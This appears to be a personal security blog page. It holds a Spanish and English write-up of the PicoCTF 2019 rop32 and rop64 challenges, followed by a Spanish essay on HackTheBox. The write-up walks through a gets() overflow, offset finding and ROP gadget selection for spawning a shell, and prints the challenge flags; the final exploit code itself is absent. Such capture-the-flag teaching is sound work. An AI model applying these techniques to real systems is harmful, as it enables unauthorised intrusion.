Your Title - infosec

PicoCTF 2019 - rop32 and rop64 (español)

2019-10-14T10:52:01+00:00

This article is also available in English.

Solución para rop32

El binario original lo podés descargar acá. Este challenge consistía en un ejecutable de linux y el siguiente código fuente en la competencia PicoCTF:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("Can you ROP your way out of this one?\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();

}

La vulnerabilidad claramente se encuentra en la function gets() que es particularmente vulnerable a buffer overflows.

Aquí debajo podemos ver que el stack no es ejecutable y que el NX bit esta activado:

$ cat /proc/14210/maps
08048000-080d7000 r-xp 00000000 08:01 4591593                            /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080d8000-080dc000 rw-p 0008f000 08:01 4591593                            /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080dc000-080dd000 rw-p 00000000 00:00 0 
08b94000-08bb6000 rw-p 00000000 00:00 0                                  [heap]
f7fcc000-f7fcf000 r--p 00000000 00:00 0                                  [vvar]
f7fcf000-f7fd1000 r-xp 00000000 00:00 0                                  [vdso]
fff1b000-fff3c000 rw-p 00000000 00:00 0                                  [stack]

$ checksec vuln
[*] '/home/0x705h/infosec/ctf/picoctf2019/rop32/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled <---- (!)
    PIE:      No PIE (0x8048000)

Como podemos ver, el NX bit esta activado, por lo que no podemos ejecutar código en el stack. Por lo tanto usar ROP para ejecutar código es una forma de atacar esta medida de seguridad del binario. Eventualmente vamos a tratar de obtener una shell usando solamente rop gadgets.

El siguiente paso es encontrar en que offset de la variable local buf de 16 bytes de la función vuln() pisamos el registro eip. Para ahorrar tiempo usamos cyclic que es un generador de secuencias únicas de strings que es un wrapper de la funcion De Bruijn.

$ cyclic 32  
aaaabaaacaaadaaaeaaafaaagaaahaaa
$ ./vuln 
Can you ROP your way out of this one?
aaaabaaacaaadaaaeaaafaaagaaahaaa
[1]    9664 segmentation fault  ./vuln
$ dmesg |tail -n 3 
[917749.538197] e1000 0000:00:03.0 enp0s3: Reset adapter
[917751.658430] e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
[920436.368947] vuln[9664]: segfault at 61616168 ip 0000000061616168 sp 00000000ffba36f0 error 14
$ python2 -c 'print chr(0x68) + chr(0x61)*3' # little endian
haaa
$ cyclic --offset haaa                            
28

Paso a paso, lo que hacemos es pedirle a cyclic que nos dé un string de 32 caracteres. No hay ninguna razon en particular por la cual escogí un string de 32 bytes, es una longitud arbitraria pero suficientemente grande como para pisar eip. Lo copiamos y lo pasamos como input al programa vuln(). El buffer local buf de 16 caracteres se overflowea cuando escribimos más de que la memoria asignada para ese buffer a traves de la función gets() y pisamos varias variables del stack, llegando a pisar eip que es el Instruction Pointer o Program Counter en otras arquitecturas como ARM. El valor en eip es 0x61616168 que pasándolo a string nos devuelve haaa y al buscarlo de nuevo con cyclic nos devuelve el offset 28. Abajo grafico porque el valor es este:

x86 - punteros de 4 bytes

ESP  +---------> +-------------------+
                 | var. locales/etc  |  20 bytes (offset 0)  +
EBP  +---------> +-------------------+                       |
                 |        EBP        |  4 bytes (offset 24)  |
                 +-------------------+                       | Nuestro cyclic
                 |     EIP / RET     |  4 bytes (offset 28)  |
                 +-------------------+                       |
                 |     Argumentos    |  4 bytes (offset 32)  +
                 +-------------------+

Entonces el estado del stack antes del la instrucción leave en vuln() se encuentra de esta manera:

pwndbg> x/12x $esp
0xffffcce0:	0x61616161	0x61616162	0x61616163	0x61616164
0xffffccf0:	0x61616165	0x61616166	0x61616167	0x61616168
0xffffcd00:	0x00000000	0x0804f02b	0x080da000	0x000003e8

Y luego, antes de ejecutar el ret el estado del stack cambia a esta otra:

pwndbg> x/12x $esp
0xffffccfc:	0x61616168	0x00000000	0x0804f02b	0x080da000
0xffffcd0c:	0x000003e8	0xffffcd30	0x080da000	0x00000000
0xffffcd1c:	0x08048f6f	0x0806f0af	0x080da000	0x080da000

Teniendo toda esta información, empezamos a escribir nuestro exploit. En ROP la idea es que en vez de escribir código en el buffer, lo que hacemos es manipular el stack frame de manera tal que inyectamos direcciones de memoria válidas contenidas en el mismo binario que estamos ejecutando. Además, dependiendo de donde uno esté interpretando el binario y en que offset, tambien podemos “reinterpretar” el binario mirando las cadendas de bytes y chequear si son instrucciónes válidas de la arquitectura Intel. Para ver esto, usamos el programa ROPGadget que nos devuelve una lista de reinterpretaciones del binario con la particularidad que terminen en una instrucción ret, call, int 0x80 o syscall.

$ ROPgadget --depth=3 --binary ./vuln |grep 'pop .* ; ret'
[...] 
0x080a8e36 : pop eax ; ret
0x0805c524 : pop eax ; ret 0xfffe
0x080c249f : pop eax ; retf
0x080c0c44 : pop ebp ; daa ; retf 0xd1cb
0x0804834c : pop ebp ; ret
0x0805bf9f : pop ebp ; ret 0xffff
0x0805d8b2 : pop ebp ; ret 4
0x080a1dcb : pop ebp ; ret 8
[...] 

Por ejemplo, varios gadget de este binario nos permitiría como se ve en este ejemplo, manipular los registros del procesador insertándole valores si acomodamos el stack de una manera piola. pop eax; ret nos permitiría guardar el valor 0x41414141 que se encuentre inmediatamente después en el stack 0x080a8e36 en eax:

       S T A C K

+----------------------+
|      0x080a8e36      | <-------+ pop eax ; ret
+----------------------+
|      0x41414114      | <-------+ eax <- 0x41414141
+----------------------+
|     Siguiente RET    |
+----------------------+

Exploit

El objetivo es ejecutar la syscall de linux execve usando solamente una rop chain empezando por nuestro registro eip que ya controlamos para obtener una shell en el servidor ejecutando el comando /bin/sh. El binario en el servidor que queremos explotar tiene el flag SUID activado con permisos de lectura para flag.txt que es el recurso que queremos leer. El exploit ejecuta /bin//sh y luego de la explotación, podemos ejecutar comandos en el server.

Mientras escribía el exploit, me encontré con el problema que el string que generaba para pasar como input al programa vulnerable estaba “cortado a la mitad”. La razón fue por el siguiente gadget:

0x080a8e36 : pop eax ; ret

El problema con la dirección de memoria 0x080a8e36 es que el byte 0x0a esta presente en la dirección y en el contexto de pasar como input esta direccion es que la consola interpreta 0x0a como un newline character ejecutando el input a la mitad.

Esta es la razón por la cual, en vez de usar pop eax; ret elegí el siguiente gadget para evitar este problema:

#0x080a8e36 : pop eax ; ret # bytes "malos" en la dirección de memoria
#0x08056334 : pop eax ; pop edx ; pop ebx ; ret # y este gadget no contiene 0x0a
pop_eax = p32(0x080a8e36) 
*pop_eax_3 = p32(0x08056334) # watch out, this destroys edx and ebx*

Entonces, tengo que tener especial cuidado cuando cargo valores en el registro eax con mi gadget pop_eax_3 ( lo llamé asi para recordarme que hay 3 registros que se van a modificar en este gadget ) porque también carga valores a los registros edx y ebx, destruyendo el estado de los valores que tuviera cargados anteriormente.

Este es nuestro exploit final:

Y este es el flag: picoCTF{rOp_t0_b1n_sH_cb4c373e}

Solución para rop64

Son casi los mismos pasos y técnicas descriptas para rop32 pero teniendo en cuenta lo siguiente:

Los parámetros de la syscall execve se pasan por registros y no por stack
Tenemos espacio para escribir el string /bin/sh\x00 en un registro en un solo paso. Esto hace que el ropchain sea un poco más sencillo
En 64 bits no debemos llamar a int 0x80 sino a la instrucción syscall

Este es el exploit:

Y el flag picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_11cdd436}

PicoCTF 2019 - rop32 and rop64

2019-10-14T10:52:01+00:00

Solving rop32 challenge

You can download the original file here. This challenge was a linux executable with the following source code in PicoCTF:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("Can you ROP your way out of this one?\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();

}

The vulnerability resides in the use of gets() which is very well known for being suceptible of buffer overflows.

Below we can see that the stack is not executable and the NX bit is enabled:

$ cat /proc/14210/maps
08048000-080d7000 r-xp 00000000 08:01 4591593                            /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080d8000-080dc000 rw-p 0008f000 08:01 4591593                            /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080dc000-080dd000 rw-p 00000000 00:00 0 
08b94000-08bb6000 rw-p 00000000 00:00 0                                  [heap]
f7fcc000-f7fcf000 r--p 00000000 00:00 0                                  [vvar]
f7fcf000-f7fd1000 r-xp 00000000 00:00 0                                  [vdso]
fff1b000-fff3c000 rw-p 00000000 00:00 0                                  [stack]

$ checksec vuln
[*] '/home/0x705h/infosec/ctf/picoctf2019/rop32/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled <---- (!)
    PIE:      No PIE (0x8048000)

As we can see, the NX bit is enabled, because of this we cannot execute code in the stack. Therefore using ROP makes totally sense. In the end, we will try to get our shell using only rop gadgets.

The next step is to find the 16 bytes offset of buf local variable in the vuln() function, and ultimately overwrite the return address at the current function’s stack frame and gain control over eip. Using cyclic to gain time is useful. cyclic is a string sequence generator which is a De Bruijn function wrapper.

$ cyclic 32  
aaaabaaacaaadaaaeaaafaaagaaahaaa
$ ./vuln 
Can you ROP your way out of this one?
aaaabaaacaaadaaaeaaafaaagaaahaaa
[1]    9664 segmentation fault  ./vuln
$ dmesg |tail -n 3 
[917749.538197] e1000 0000:00:03.0 enp0s3: Reset adapter
[917751.658430] e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
[920436.368947] vuln[9664]: segfault at 61616168 ip 0000000061616168 sp 00000000ffba36f0 error 14
$ python2 -c 'print chr(0x68) + chr(0x61)*3' # little endian
haaa
$ cyclic --offset haaa
28

Step by step, we ask to cyclic a string of 32 bytes. There is no particular reason that I choosed a 32 bytes string for cyclic but is big enough to overwrite eip. Copying the resulting string to the program input overflows the buffer overwriting the Instruction Pointer. The overwritten eip renders the value 0x61616168, converted to string is haaa and returning with the result to cyclic finally we obtain 28 as the offset.

x86 - 4 bytes pointers

ESP  +---------> +-------------------+
                 |  local vars/etc   |  20 bytes (offset 0)  +
EBP  +---------> +-------------------+                       |
                 |        EBP        |  4 bytes (offset 24)  |
                 +-------------------+                       | cyclic string
                 |     EIP / RET     |  4 bytes (offset 28)  |
                 +-------------------+                       |
                 |      arguments    |  4 bytes (offset 32)  +
                 +-------------------+

The state of the stack before the leave instruction in vuln() is the following:

pwndbg> x/12x $esp
0xffffcce0:	0x61616161	0x61616162	0x61616163	0x61616164
0xffffccf0:	0x61616165	0x61616166	0x61616167	0x61616168
0xffffcd00:	0x00000000	0x0804f02b	0x080da000	0x000003e8

And in the ret instruction, the stack state changes to the following:

pwndbg> x/12x $esp
0xffffccfc:	0x61616168	0x00000000	0x0804f02b	0x080da000
0xffffcd0c:	0x000003e8	0xffffcd30	0x080da000	0x00000000
0xffffcd1c:	0x08048f6f	0x0806f0af	0x080da000	0x080da000

After gathering all this information about the behaviour of the program, we start to write our exploit. In ROP the idea is that instead of writing code in the buffer and jump to it, what we do is manipulate the stack frame in a way that we inject valid memory addresses that reside within the original binary. The program ROPGadget reinterprets a binary mangling with the offsets in a way that it finds gadgets to use with the property of a chain of instructions that ends in ret, call, int 0x80 or syscall.

$ ROPgadget --depth=3 --binary ./vuln |grep 'pop .* ; ret'
[...] 
0x080a8e36 : pop eax ; ret
0x0805c524 : pop eax ; ret 0xfffe
0x080c249f : pop eax ; retf
0x080c0c44 : pop ebp ; daa ; retf 0xd1cb
0x0804834c : pop ebp ; ret
0x0805bf9f : pop ebp ; ret 0xffff
0x0805d8b2 : pop ebp ; ret 4
0x080a1dcb : pop ebp ; ret 8
[...] 

For instance, several gadgets in this binary allow us to manipulate the processor registers in a way that we can inject values to the registers mangling with the stack in a clever way. pop eax; ret allows us to inject the value 0x41414141 into eax using the gadget located at 0x080a8e36 in the binary:

       S T A C K

+----------------------+
|      0x080a8e36      | <-------+ pop eax ; ret
+----------------------+
|      0x41414114      | <-------+ eax <- 0x41414141
+----------------------+
|      Next   RET      |
+----------------------+

This way we can manipulate the execution flow of the program modifiying the ret addresses.

Exploit

The goal is to execute the execve linux syscall using only a rop chain starting by our controlled eip to gain a shell in the server by executing /bin/sh. The binary in the server that we want to exploit has the SUID flag enabled and with reading permissions for flag.txt which is the resource that we want to read. The exploit executes /bin//sh, and after exploitation we can issue commands to the server.

While writing the exploit, I’ve encountered a problem that the final string to pass as input to the vulnerable program was “cut at half”. This was because of this gadget:

0x080a8e36 : pop eax ; ret

The problem with the memory address 0x080a8e36 is that the byte 0x0a is present in the address and in the context of passing the input by console, it is interpreted as the newline character, executing the input but in half.

That is the reason that instead of using pop eax; ret I choosed the following gadget to avoid this problem:

#0x080a8e36 : pop eax ; ret # bad bytes in the address
#0x08056334 : pop eax ; pop edx ; pop ebx ; ret # this gadget address doesn't contains 0x0a
pop_eax = p32(0x080a8e36)
*pop_eax_3 = p32(0x08056334) # watch out, this destroys edx and ebx*

For this reason, I need to take special care when loading values to the eax register with pop_eax_3 - I called it like that to remind me also that 3 registers are involved in this gadget - because it also loads values to edx and ebx destroying the state of my registers.

This is the final exploit:

Here is the flag: picoCTF{rOp_t0_b1n_sH_cb4c373e}

Solving rop64 challenge

The steps to write the exploit of this challenge are nearly the same as the rop32 one but:

The execve syscall parameters are passed by registers and not by stack
We have enough space to write the string /bin/sh\x00 in a register in one step, and thanks to that the ropchain is a little bit less complex
In 64 bits we should not call int 0x80, we should use syscall instruction instead

This is the exploit:

And the flag picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_11cdd436}

HackTheBox: Jugar a trabajar

2018-02-18T18:00:00+00:00

Era la tercera vez que le insistía a un amigo, entre cervezas y discusiones irrelevantes sobre el futuro, que pruebe registrándose a HackTheBox, una plataforma que me tuvo ocupado este feriado largo de carnaval entre mates, tortas fritas y galletitas con queso.

HackTheBox (HTB) es una plataforma online que permite evaluar tus propias habilidades como Pentester/Hacker. Antes de continuar con HTB necesito dar un poco de contexto sobre este mundo de competencias y medición de habilidades en la comunidad InfoSec/Hacker. En lo particular, HTB es un CTF (CaptureTheFlag) más realista, una competencia entre personas para descubrir vulnerabilidades en sistemas y explotarlos para ganar puntos. Generalmente los CTFs presentan un archivo binario, un enunciado, una imagen de disco, un dump de memoria, un mensaje criptográfico o una plataforma web con alguna vulnerabilidad muy especifica que debes explotar para obtener un hash MD5, SHA1 o un string en leet. Obtener el flag otorga puntos. Mientras más puntos, más arriba en la tabla de jugadores. Los CTFs duran un par de días y los rankings quedan cristalizados al cierre.

Jugando CTFs pertenecí al grupo dephault bajo otro handle, disuelto ya porque la vida es cruel y la coordinación de 6 personas con diferentes husos horarios para ocupar un fin de semana entero siendo que algunos tienen hijos se fue tornando difícil. Hemos llegado al TOP 5 en alguna que otra competencia, y fue suficiente para sentirnos todos satisfechos por el esfuerzo en conjunto y festejar a la distancia con cervezas ASCIIs en IRC.

Aunque HTB tiene sabor a CTF no se parece a nada en lo que haya participado lúdicamente nunca. Una vez registrado en la plataforma (que requiere un código de invitación que tenés que hackear por tu cuenta) se otorga acceso al VPN de HTB y una lista de maquinas con sus respectivas IPs. Cada IP es un challenge, un servidor con algún servicio vulnerable y la única pista que se da al jugador son los misteriosos títulos que tiene cada máquina. No hay enunciados. No hay pistas. No hay binarios. Solo una IP y el sistema operativo en el que corre la máquina. El nuevo nivel de dificultad que se me estaba presentando me pareció inmediatamente fascinante. Tan fascinante que mientras estaba con mi amigo bebiendo estas fabulosas cervezas no podía parar de insistirle en que se registre:

No Tosh, gracias, pero no. No me interesa mucho.
Dale, está buenísimo y es muy divertido.
¿Divertido? ¿Desde cuándo es divertido jugar a que trabajás?

Dejando esa pregunta en el aire, continuamos hablando de otras cosas. No supe en ese momento que responder, porque nunca había considerado este tipo de competencias como trabajo. Pero sin embargo, tiene un punto importante ya que lo que uno hace en estas competencias se asemeja parcialmente al día a día en el laburo. O no, porque me divierto, bocha. En mi caso, siento que la diferencia fundamental entre divertirse y trabajar es la ausencia de extensos reportes y recomendaciones para mitigar vulnerabilidades, cosa absolutamente necesaria para hacer que la internet sea un poco más segura en cada intrusión contratada. No contratadas también, pero eso ya es un tema más complejo.

En HTB solamente entrás, rompés y la recompensa es un flag y unos puntos, extirpando de lleno todo el tedio administrativo.

De pronto, pensando sesudamente sobre esto, doy cuenta que trabajar en mi caso no implica explotar vulnerabilidades -la parte divertida- sino más bien reportarlas, explicarlas, y proponer soluciones para evitar que sigan existiendo y que de alguna manera jocosamente-ultra-simplificada, no nos roben de nuestros dispositivos conversaciones privadas o desnudos, como explicó magistralmente Edward Snowden a John Oliver para bajar al usuario medio los verdaderos riesgos de las vulnerabilidades que aun no hemos descubierto y ciertos gobiernos o “grupos de personas” potencialmente si.

Esta pregunta que hizo este amigo, disparó en mi buscar el subjetivo significado del trabajo y la interrelación con la diversión, conceptos fácilmente antagonizables cuando el tedio se apropia de la actividad. Por ahora, a falta de una mejor descripción, siento que trabajar en definitiva no es usar los conocimientos para penetrar sistemas, si no más bien explicar de manera sencilla el porqué es importante alertar sobre estas cosas y como mitigarlas. Y explicar tareas tan complejas y su impacto sencillamente es sorprendentemente trabajoso.